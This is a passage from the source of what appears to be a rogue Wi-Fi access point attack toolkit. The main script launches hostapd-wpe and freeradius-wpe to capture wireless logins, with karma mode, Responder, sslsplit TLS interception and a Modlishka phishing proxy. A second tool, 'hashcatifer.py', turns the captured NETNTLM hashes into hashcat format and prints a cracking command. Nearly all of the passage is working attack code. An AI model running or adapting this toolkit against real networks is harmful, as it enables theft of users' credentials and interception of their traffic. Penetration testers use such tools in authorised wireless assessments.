country_code=options['country_code'], 186 | macaddr_acl=options['macaddr_acl'], 187 | macaddr_accept_file=options['macaddr_accept_file'], 188 | macaddr_deny_file=options['macaddr_deny_file'], 189 | auth_algs=options['auth_algs'], 190 | essid_mask=options['essid_mask'], 191 | wmm_enabled=options['wmm_enabled'], 192 | wmm_ac_bk_cwmin=options['wmm_ac_bk_cwmin'], 193 | wmm_ac_bk_cwmax=options['wmm_ac_bk_cwmax'], 194 | wmm_ac_bk_aifs=options['wmm_ac_bk_aifs'], 195 | wmm_ac_bk_txop_limit=options['wmm_ac_bk_txop_limit'], 196 | wmm_ac_bk_acm=options['wmm_ac_bk_acm'], 197 | wmm_ac_be_aifs=options['wmm_ac_be_aifs'], 198 | wmm_ac_be_cwmin=options['wmm_ac_be_cwmin'], 199 | wmm_ac_be_cwmax=options['wmm_ac_be_cwmax'], 200 | wmm_ac_be_txop_limit=options['wmm_ac_be_txop_limit'], 201 | wmm_ac_be_acm=options['wmm_ac_be_acm'], 202 | wmm_ac_vi_aifs=options['wmm_ac_vi_aifs'], 203 | wmm_ac_vi_cwmin=options['wmm_ac_vi_cwmin'], 204 | wmm_ac_vi_cwmax=options['wmm_ac_vi_cwmax'], 205 | wmm_ac_vi_txop_limit=options['wmm_ac_vi_txop_limit'], 206 | wmm_ac_vi_acm=options['wmm_ac_vi_acm'], 207 | wmm_ac_vo_aifs=options['wmm_ac_vo_aifs'], 208 | wmm_ac_vo_cwmin=options['wmm_ac_vo_cwmin'], 209 | wmm_ac_vo_cwmax=options['wmm_ac_vo_cwmax'], 210 | wmm_ac_vo_txop_limit=options['wmm_ac_vo_txop_limit'], 211 | wmm_ac_vo_acm=options['wmm_ac_vo_acm'], 212 | ht_capab=options['ht_capab'], 213 | require_ht=options['require_ht'], 214 | ieee80211ac=options['ieee80211ac'], 215 | vht_oper_chwidth=options['vht_oper_chwidth'], 216 | vht_operations=options['vht_operations'], 217 | vht_capability=options['vht_capab'], 218 | require_vht=options['require_vht'], 219 | ieee80211d=options['ieee80211d'], 220 | ieee80211h=options['ieee80211h'], 221 | ap_isolate=options['ap_isolate'] 222 | ) 223 | elif options['auth'] == 'wep': 224 | if(options['hostapd_manual_conf'] is not None): 225 | conf_manager.hostapd_custom_cnf.configure( 226 | hostapd_location=options['hostapd_manual_conf'] 227 | ) 228 | else: 229 | conf_manager.hostapd_wep_cnf.configure( 230 | driver=options['driver'], 231 | interface=options['interface'], 232 | ssid=options['essid'], 233 | beacon_interval=options['beacon_interval'], 234 | hw_mode=options['hw_mode'], 235 | ieee80211n=options['ieee80211n'], 236 | bssid=options['bssid'], 237 | channel=options['channel'], 238 | country_code=options['country_code'], 239 | macaddr_acl=options['macaddr_acl'], 240 | macaddr_accept_file=options['macaddr_accept_file'], 241 | macaddr_deny_file=options['macaddr_deny_file'], 242 | auth_algs=options['auth_algs'], 243 | essid_mask=options['essid_mask'], 244 | wmm_enabled=options['wmm_enabled'], 245 | wmm_ac_bk_cwmin=options['wmm_ac_bk_cwmin'], 246 | wmm_ac_bk_cwmax=options['wmm_ac_bk_cwmax'], 247 | wmm_ac_bk_aifs=options['wmm_ac_bk_aifs'], 248 | wmm_ac_bk_txop_limit=options['wmm_ac_bk_txop_limit'], 249 | wmm_ac_bk_acm=options['wmm_ac_bk_acm'], 250 | wmm_ac_be_aifs=options['wmm_ac_be_aifs'], 251 | wmm_ac_be_cwmin=options['wmm_ac_be_cwmin'], 252 | wmm_ac_be_cwmax=options['wmm_ac_be_cwmax'], 253 | wmm_ac_be_txop_limit=options['wmm_ac_be_txop_limit'], 254 | wmm_ac_be_acm=options['wmm_ac_be_acm'], 255 | wmm_ac_vi_aifs=options['wmm_ac_vi_aifs'], 256 | wmm_ac_vi_cwmin=options['wmm_ac_vi_cwmin'], 257 | wmm_ac_vi_cwmax=options['wmm_ac_vi_cwmax'], 258 | wmm_ac_vi_txop_limit=options['wmm_ac_vi_txop_limit'], 259 | wmm_ac_vi_acm=options['wmm_ac_vi_acm'], 260 | wmm_ac_vo_aifs=options['wmm_ac_vo_aifs'], 261 | wmm_ac_vo_cwmin=options['wmm_ac_vo_cwmin'], 262 | wmm_ac_vo_cwmax=options['wmm_ac_vo_cwmax'], 263 | wmm_ac_vo_txop_limit=options['wmm_ac_vo_txop_limit'], 264 | wmm_ac_vo_acm=options['wmm_ac_vo_acm'], 265 | ht_capab=options['ht_capab'], 266 | require_ht=options['require_ht'], 267 | ieee80211ac=options['ieee80211ac'], 268 | vht_oper_chwidth=options['vht_oper_chwidth'], 269 | vht_operations=options['vht_operations'], 270 | vht_capability=options['vht_capab'], 271 | require_vht=options['require_vht'], 272 | ieee80211d=options['ieee80211d'], 273 | ieee80211h=options['ieee80211h'], 274 | ap_isolate=options['ap_isolate'], 275 | wep_default_key=options['wep_default_key'], 276 | wep_key=options['wep_key'], 277 | ) 278 | elif (options['auth'] == 'wpa-personal'): 279 | if(options['hostapd_manual_conf'] is not None): 280 | conf_manager.hostapd_custom_cnf.configure( 281 | hostapd_location=options['hostapd_manual_conf'] 282 | ) 283 | else: 284 | conf_manager.hostapd_wpa_psk_cnf.configure( 285 | driver=options['driver'], 286 | interface=options['interface'], 287 | ssid=options['essid'], 288 | beacon_interval=options['beacon_interval'], 289 | hw_mode=options['hw_mode'], 290 | ieee80211n=options['ieee80211n'], 291 | bssid=options['bssid'], 292 | channel=options['channel'], 293 | country_code=options['country_code'], 294 | macaddr_acl=options['macaddr_acl'], 295 | macaddr_accept_file=options['macaddr_accept_file'], 296 | macaddr_deny_file=options['macaddr_deny_file'], 297 | auth_algs=options['auth_algs'], 298 | essid_mask=options['essid_mask'], 299 | wmm_enabled=options['wmm_enabled'], 300 | wmm_ac_bk_cwmin=options['wmm_ac_bk_cwmin'], 301 | wmm_ac_bk_cwmax=options['wmm_ac_bk_cwmax'], 302 | wmm_ac_bk_aifs=options['wmm_ac_bk_aifs'], 303 | wmm_ac_bk_txop_limit=options['wmm_ac_bk_txop_limit'], 304 | wmm_ac_bk_acm=options['wmm_ac_bk_acm'], 305 | wmm_ac_be_aifs=options['wmm_ac_be_aifs'], 306 | wmm_ac_be_cwmin=options['wmm_ac_be_cwmin'], 307 | wmm_ac_be_cwmax=options['wmm_ac_be_cwmax'], 308 | wmm_ac_be_txop_limit=options['wmm_ac_be_txop_limit'], 309 | wmm_ac_be_acm=options['wmm_ac_be_acm'], 310 | wmm_ac_vi_aifs=options['wmm_ac_vi_aifs'], 311 | wmm_ac_vi_cwmin=options['wmm_ac_vi_cwmin'], 312 | wmm_ac_vi_cwmax=options['wmm_ac_vi_cwmax'], 313 | wmm_ac_vi_txop_limit=options['wmm_ac_vi_txop_limit'], 314 | wmm_ac_vi_acm=options['wmm_ac_vi_acm'], 315 | wmm_ac_vo_aifs=options['wmm_ac_vo_aifs'], 316 | wmm_ac_vo_cwmin=options['wmm_ac_vo_cwmin'], 317 | wmm_ac_vo_cwmax=options['wmm_ac_vo_cwmax'], 318 | wmm_ac_vo_txop_limit=options['wmm_ac_vo_txop_limit'], 319 | wmm_ac_vo_acm=options['wmm_ac_vo_acm'], 320 | ht_capab=options['ht_capab'], 321 | require_ht=options['require_ht'], 322 | ieee80211ac=options['ieee80211ac'], 323 | vht_oper_chwidth=options['vht_oper_chwidth'], 324 | vht_operations=options['vht_operations'], 325 | vht_capability=options['vht_capab'], 326 | require_vht=options['require_vht'], 327 | ieee80211d=options['ieee80211d'], 328 | ieee80211h=options['ieee80211h'], 329 | ap_isolate=options['ap_isolate'], 330 | wpa=options['wpa'], 331 | wpa_passphrase=options['wpa_passphrase'], 332 | wpa_pairwise=options['wpa_pairwise'], 333 | rsn_pairwise=options['rsn_pairwise'] 334 | ) 335 | else: 336 | if(options['hostapd_manual_conf'] is not None): 337 | conf_manager.hostapd_custom_cnf.configure( 338 | hostapd_location=options['hostapd_manual_conf'] 339 | ) 340 | else: 341 | conf_manager.hostapd_wpa_eap_cnf.configure( 342 | driver=options['driver'], 343 | interface=options['interface'], 344 | ssid=options['essid'], 345 | beacon_interval=options['beacon_interval'], 346 | hw_mode=options['hw_mode'], 347 | ieee80211n=options['ieee80211n'], 348 | bssid=options['bssid'], 349 | channel=options['channel'], 350 | country_code=options['country_code'], 351 | macaddr_acl=options['macaddr_acl'], 352 | macaddr_accept_file=options['macaddr_accept_file'], 353 | macaddr_deny_file=options['macaddr_deny_file'], 354 | auth_algs=options['auth_algs'], 355 | essid_mask=options['essid_mask'], 356 | wmm_enabled=options['wmm_enabled'], 357 | wmm_ac_bk_cwmin=options['wmm_ac_bk_cwmin'], 358 | wmm_ac_bk_cwmax=options['wmm_ac_bk_cwmax'], 359 | wmm_ac_bk_aifs=options['wmm_ac_bk_aifs'], 360 | wmm_ac_bk_txop_limit=options['wmm_ac_bk_txop_limit'], 361 | wmm_ac_bk_acm=options['wmm_ac_bk_acm'], 362 | wmm_ac_be_aifs=options['wmm_ac_be_aifs'], 363 | wmm_ac_be_cwmin=options['wmm_ac_be_cwmin'], 364 | wmm_ac_be_cwmax=options['wmm_ac_be_cwmax'], 365 | wmm_ac_be_txop_limit=options['wmm_ac_be_txop_limit'], 366 | wmm_ac_be_acm=options['wmm_ac_be_acm'], 367 | wmm_ac_vi_aifs=options['wmm_ac_vi_aifs'], 368 | wmm_ac_vi_cwmin=options['wmm_ac_vi_cwmin'], 369 | wmm_ac_vi_cwmax=options['wmm_ac_vi_cwmax'], 370 | wmm_ac_vi_txop_limit=options['wmm_ac_vi_txop_limit'], 371 | wmm_ac_vi_acm=options['wmm_ac_vi_acm'], 372 | wmm_ac_vo_aifs=options['wmm_ac_vo_aifs'], 373 | wmm_ac_vo_cwmin=options['wmm_ac_vo_cwmin'], 374 | wmm_ac_vo_cwmax=options['wmm_ac_vo_cwmax'], 375 | wmm_ac_vo_txop_limit=options['wmm_ac_vo_txop_limit'], 376 | wmm_ac_vo_acm=options['wmm_ac_vo_acm'], 377 | ht_capab=options['ht_capab'], 378 | require_ht=options['require_ht'], 379 | ieee80211ac=options['ieee80211ac'], 380 | vht_oper_chwidth=options['vht_oper_chwidth'], 381 | vht_operations=options['vht_operations'], 382 | vht_capability=options['vht_capab'], 383 | require_vht=options['require_vht'], 384 | ieee80211d=options['ieee80211d'], 385 | ieee80211h=options['ieee80211h'], 386 | ap_isolate=options['ap_isolate'], 387 | wpa=options['wpa'], 388 | wpa_pairwise=options['wpa_pairwise'], 389 | rsn_pairwise=options['rsn_pairwise'], 390 | ieee8021x=options['ieee8021x'], 391 | eapol_version=options['eapol_version'], 392 | eapol_workaround=options['eapol_workaround'], 393 | own_ip_addr=options['own_ip_addr'], 394 | auth_server_addr=options['auth_server_addr'], 395 | auth_server_shared_secret=options['auth_server_shared_secret'], 396 | auth_server_port=options['auth_server_port'], 397 | acct_server_addr=options['acct_server_addr'], 398 | acct_server_shared_secret=options['acct_server_shared_secret'], 399 | acct_server_port=options['acct_server_port'], 400 | eap_user_file=options['eap_user_file'], 401 | ca_pem=options['ca_certificate'], 402 | server_pem=options['server_certificate'], 403 | private_key=options['server_private_key'], 404 | private_key_passwd=options['server_private_key_password'], 405 | dh_file=config.dh_file 406 | ) 407 | conf_manager.freeradius_radiusd_conf.configure( 408 | logdir=config.logdir, 409 | radiuslog=config.radiuslog, 410 | wpelogfile=config.wpelogfile, 411 | cert_dir=config.certs_dir, 412 | log_goodpass=options['log_goodpass'], 413 | log_badpass=options['log_badpass'] 414 | ) 415 | conf_manager.freeradius_default_available_site_conf.configure( 416 | ) 417 | conf_manager.freeradius_eap_conf.configure( 418 | default_eap_type=options['default_eap_type'], 419 | private_key_password=options['server_private_key_password'], 420 | private_key_file=options['server_private_key'], 421 | certificate_file=options['server_certificate'], 422 | ca_file=options['ca_certificate'], 423 | dh_file=config.dh_file, 424 | ca_path=config.certs_dir, 425 | supported_eap_type=options['supported_eap_type'] 426 | ) 427 | conf_manager.freeradius_clients_conf.configure( 428 | own_ip_addr=options['own_ip_addr'], 429 | auth_server_shared_secret=options['auth_server_shared_secret'], 430 | radius_protocol=options['radius_protocol'] 431 | ) 432 | print("[*] Launching freeradius-wpe") 433 | utils.Freeradius.hardstart(config.freeradius_command % (config.freeradius_log, config.freeradius_working_dir), verbose=False) 434 | 435 | ##### Launching Program ##### 436 | 437 | conf_manager.default_dhcp.configure( 438 | default_dhcpv4_conf_location=config.default_dhcpv4_conf_location, 439 | interface=options['interface'] 440 | ) 441 | 442 | conf_manager.dhcpd_conf.configure( 443 | default_lease_time=options['default_lease_time'], 444 | max_lease_time=options['max_lease_time'], 445 | name_servers=("%s, %s" % (options['primary_name_server'], options['secondary_name_server'])), 446 | router=options['ip_address'], 447 | route_gateway=rogueClass.dhcpRoute(options['ip_address']), 448 | route_cidr=rogueClass.dhcpCidr(options['dhcp_netmask']), 449 | route_subnet=rogueClass.dhcpRoute(options['route_subnet']), 450 | dhcp_subnet=options['dhcp_subnet'], 451 | dhcp_netmask=options['dhcp_netmask'], 452 | dhcp_pool_start=options['dhcp_pool_start'], 453 | dhcp_pool_end=options['dhcp_pool_end'] 454 | ) 455 | 456 | # sets the local ip address of the wireless interface before startign the dhcp service 457 | os.system('ifconfig %s %s netmask %s' % (options['interface'], options['ip_address'], options['dhcp_netmask'])) 458 | rogueClass.dhcpiptablesStart() 459 | utils.IscDhcpServer.start() 460 | 461 | print("[*] Launching hostapd-wpe") 462 | if(options['karma']): 463 | utils.Hostapd.hardstart(config.hostapd_command_with_karma % config.hostapd_conf_full, verbose=False) 464 | if(options['debug']): 465 | utils.Hostapd.hardstart(config.hostapd_command_with_debug % config.hostapd_conf_full, verbose=False) 466 | if(options['ddebug']): 467 | utils.Hostapd.hardstart(config.hostapd_command_with_ddebug % config.hostapd_conf_full, verbose=False) 468 | else: 469 | utils.Hostapd.hardstart(config.hostapd_command % (config.hostapd_conf_full), verbose=False) 470 | 471 | ##### Middle Operations ##### 472 | 473 | 474 | if(options['internet']): 475 | print("[*] Enabling IP forwarding") 476 | utils.set_ipforward(1) 477 | else: 478 | pass 479 | 480 | # sets the ipv6 link-local address of the wireless interface 481 | print('[-] Enabling IPv6 on %s interface, setting link-local address: %s' % (options['interface'], options['ipv6_address'])) 482 | os.system('sudo ifconfig %s inet6 add %s/64' % (options['interface'], options['ipv6_address'])) 483 | 484 | if(options['responder'] is True): 485 | print("[+] Generating responder configuration file...") 486 | if(options['responder'] is True and options['modlishka'] is False): 487 | conf_manager.responder_default_conf.configure( 488 | do_not_respond_to_own_ip_addr=config.default_ip_address 489 | ) 490 | utils.Responder.hardstart(config.responder_cmd % ( 491 | options['interface'] 492 | ), 493 | verbose=False 494 | ) 495 | elif(options['responder'] is True and options['modlishka'] is True): 496 | conf_manager.responder_no_http_conf.configure( 497 | do_not_respond_to_own_ip_addr=config.default_ip_address 498 | ) 499 | utils.Responder.hardstart(config.responder_cmd % ( 500 | options['interface'] 501 | ), 502 | verbose=False 503 | ) 504 | else: 505 | pass 506 | else: 507 | pass 508 | 509 | if(options['sslsplit'] is True and options['cert_nopass'] is False): 510 | 511 | utils.Sslsplit.hardstart(config.sslsplit_cmd % ( 512 | config.sslsplit_log, 513 | config.sslsplit_jail, 514 | config.sslsplit_tmp, 515 | config.ca_key, 516 | config.ca_crt, 517 | options['sslsplit_encrypted_port'] 518 | )) 519 | 520 | rogueClass.sslsplitiptablesStart(options['sslsplit_encrypted_port']) 521 | else: 522 | pass 523 | 524 | if(options['modlishka'] is True): 525 | utils.Modlishka.hardstart(config.modlishka_cmd % ( 526 | options['modlishka_proxydomain'], 527 | options['modlishka_proxyaddress'], 528 | options['modlishka_controlURL'], 529 | options['modlishka_controlCreds'], 530 | options['modlishka_listeningaddress'], 531 | options['modlishka_target'])) 532 | 533 | # pause execution until user quits 534 | input('Press enter to quit...') 535 | 536 | except KeyboardInterrupt: 537 | rogueClass.rogue_shutdown(options) 538 | exit(0) 539 | 540 | rogueClass.rogue_shutdown(options) 541 | endtime=datetime.now() 542 | print("[-] Ending rogue at: {}".format(endtime)) 543 | print("[-] Rogue Duration: {} seconds".format((endtime-starttime).seconds)) 544 | 545 | exit(0) 546 | -------------------------------------------------------------------------------- /tmp/hostapd-wpe.conf: -------------------------------------------------------------------------------- 1 | # This a dynamically generated file. Do not edit this by hand. 2 | -------------------------------------------------------------------------------- /tmp/hostapd.accept: -------------------------------------------------------------------------------- 1 | # List of MAC addresses that are allowed to authenticate (IEEE 802.11) 2 | # with the AP. 3 | -------------------------------------------------------------------------------- /tmp/hostapd.deny: -------------------------------------------------------------------------------- 1 | # List of MAC addresses that are not allowed to authenticate (IEEE 802.11) 2 | # with the AP. 3 | -------------------------------------------------------------------------------- /tools/hashcatifer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import argparse 3 | import re 4 | 5 | def set_options(): 6 | try: 7 | parser = argparse.ArgumentParser( 8 | prog='hashcatifer.py', 9 | description='hashcatifer is a tool used to convert captured credentials from freeradius-server-wpe\'s standard john (jtr) output to a hashcat supported format.', 10 | usage='Example: python hashcatifer -f /var/log/freeradius-server-wpe.log -o /tmp/hashcatifer.output' 11 | ) 12 | 13 | parser.add_argument( 14 | '--file', 15 | '-f', 16 | dest='filename', 17 | default='/var/log/freeradius-server-wpe.log', 18 | help='Specify the name of file containing captured credentials' 19 | ) 20 | 21 | parser.add_argument( 22 | '--output', 23 | '-o', 24 | dest='output', 25 | default='hashcatifer.output', 26 | help='Specify the name output file' 27 | ) 28 | 29 | parser.add_argument( 30 | '--format', 31 | dest='format', 32 | choices=['NETNTLMv1'], 33 | default='NETNTLMv1', 34 | help='Specify the format to output hashes as' 35 | ) 36 | 37 | parser.add_argument( 38 | '--mode', 39 | '-m', 40 | dest='mode', 41 | choices=['all','single'], 42 | default='single', 43 | help='Specify the number of hashes to reformat' 44 | ) 45 | 46 | args, leftover = parser.parse_known_args() 47 | options = args.__dict__ 48 | return 0, options 49 | 50 | except Exception as error: 51 | print('%s' % (error)) 52 | return 1, 0 53 | 54 | def getHash(fline): 55 | regex = re.compile('.*(?:\$NETNTLM\$).*') 56 | return re.search(regex, fline) 57 | 58 | def getUser(fline, user_list): 59 | regex = re.compile('.*(?:\:\$)') 60 | username = re.search(regex, fline).group() 61 | if username in user_list: 62 | return False, user_list 63 | else: 64 | user_list.append(username) 65 | return True, user_list 66 | 67 | def convert2NetNTLMv1(hash_list): 68 | new_hash_list = [] 69 | regex = re.compile('(.*?):(\$.*?)\$(.*?)\$(.*)') 70 | for hash in hash_list: 71 | new_hash_list.append(regex.sub(r'\1::::\4:\3', hash).rstrip('\n\n')) 72 | return new_hash_list 73 | 74 | def writeFile(outfile, hash_list): 75 | try: 76 | file = open(outfile, 'w') 77 | for hash in hash_list: 78 | file.write('%s\n' % hash) 79 | file.close() 80 | except Exception as error: 81 | return 1 82 | 83 | return 0 84 | 85 | if __name__ == '__main__': 86 | rtn, opts = set_options() 87 | if rtn != 0: 88 | exit(rtn) 89 | 90 | try: 91 | hash_list = [] 92 | user_list = [] 93 | file = open(opts['filename'], 'r') 94 | flist = re.split('\s+', file.read()) 95 | file.close() 96 | if(opts['mode'] == 'single'): 97 | for fline in flist: 98 | if(getHash(fline)): 99 | check, username = getUser(fline, user_list) 100 | if check: 101 | hash_list.append(fline) 102 | elif(opts['mode'] == 'all'): 103 | for fline in flist: 104 | if(getHash(fline)): 105 | hash_list.append(fline) 106 | else: 107 | pass 108 | if(opts['format'] == 'NETNTLMv1'): 109 | print("hashcat command: hashcat -m 5500 %s -w wordlist" % opts['output']) 110 | hash_list = convert2NetNTLMv1(hash_list) 111 | else: 112 | pass 113 | hash_list.sort() 114 | writeFile(opts['output'], hash_list) 115 | 116 | except Exception as error: 117 | print('%s' % (error)) 118 | exit(1) 119 | 120 | exit(0) 121 | --------------------------------------------------------------------------------